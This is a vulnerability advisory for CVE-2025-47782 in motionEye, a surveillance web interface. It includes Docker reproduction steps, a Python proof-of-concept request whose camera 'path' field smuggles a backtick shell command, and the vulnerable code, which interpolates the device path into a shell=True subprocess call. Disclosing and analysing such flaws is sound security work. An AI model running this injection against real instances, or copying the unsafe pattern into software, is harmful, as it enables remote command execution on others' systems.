Summary

motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

Details

Summary

Using a constructed (camera) device path with the config/add/add_camera motionEye web API allows an attacker with motionEye admin user credentials to execute any UNIX shell code within a non-interactive shell as executing user of the motionEye instance, motion by default.

build

RUN_USER="user"
RUN_UID=$(id -u ${RUN_USER})
RUN_GID=$(id -g ${RUN_USER})
TIMESTAMP="$(date '+%Y%m%d-%H%M')"

docker build \

reproduce

Run:

docker run --rm  -d   -p 8765:8765   --hostname="motioneye"   -v /etc/localtime:/etc/localtime:ro   -v /tmp/motioneyeconfig:/etc/motioneye   -v /tmp/motioneyeconfig:/var/lib/motioneye

bash-4.2$ docker logs ceb435eacf55 -f
configure_logging cmd motioneye: False
configure logging to file: None

Now, run the following script to attack motionEye:

import requests
import json

url = "http://your_ip:8765/config/add?_username=admin&_signature=c22baef3399cb7328e22ded1ca68395b4daecd18"

payload = json.dumps({
  "proto": "v4l2",
  "path": "' `touch /tmp/bbbb` '"
})
headers = {
  'Content-Type': 'application/json'
}

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

Discussion

It is obvious that call_subprocess was used to execute the incoming data, resulting in a vulnerability

def list_resolutions(device):
    from motioneye import motionctl

    device = utils.make_str(device)

    if device in _resolutions_cache:
        return _resolutions_cache[device]

    logging.debug(f'listing resolutions of device {device}...')

    resolutions = set()
    output = b''
    started = time.time()
    cmd = f"v4l2-ctl -d '{device}' --list-formats-ext | grep -vi stepwise | grep -oE '[0-9]+x[0-9]+' || true"
    logging.debug(f'running command "{cmd}"')

    try:
        output = utils.call_subprocess(cmd, shell=True, stderr=utils.DEV_NULL)
    except:
        logging.error(f'failed to list resolutions of device "{device}"')

    output = utils.make_str(output)

def call_subprocess(
    args,
    stdin=None,
    input=None,
    stdout=subprocess.PIPE,
    stderr=DEV_NULL,
    capture_output=False,
    shell=False,
    cwd=None,
    timeout=None,
    check=True,
    encoding='utf-8',
    errors=None,
    text=None,
    env=None,
) -> str:
    """subprocess.run wrapper to return output as a decoded string"""
    return subprocess.run(
        args,
        stdin=stdin,
        input=input,
        stdout=stdout,
        stderr=stderr,
        capture_output=capture_output,

CVE-2025-47782 (GCVE-0-2025-47782)

Vulnerability from cvelistv5 – Published: 2025-05-14 15:54 – Updated: 2025-05-14 17:36

Title

motionEye vulnerable to RCE in add_camera Function Due to unsafe command execution

Summary

motionEye is an online interface for the software motion, a video surveillance program with motion detection. In versions 0.43.1b1 through 0.43.1b3, using a constructed (camera) device path with the `add`/`add_camera` motionEye web API allows an attacker with motionEye admin user credentials to execute any command within a non-interactive shell as motionEye run user, `motion` by default. The vulnerability has been patched with motionEye v0.43.1b4. As a workaround, apply the patch manually.

Severity
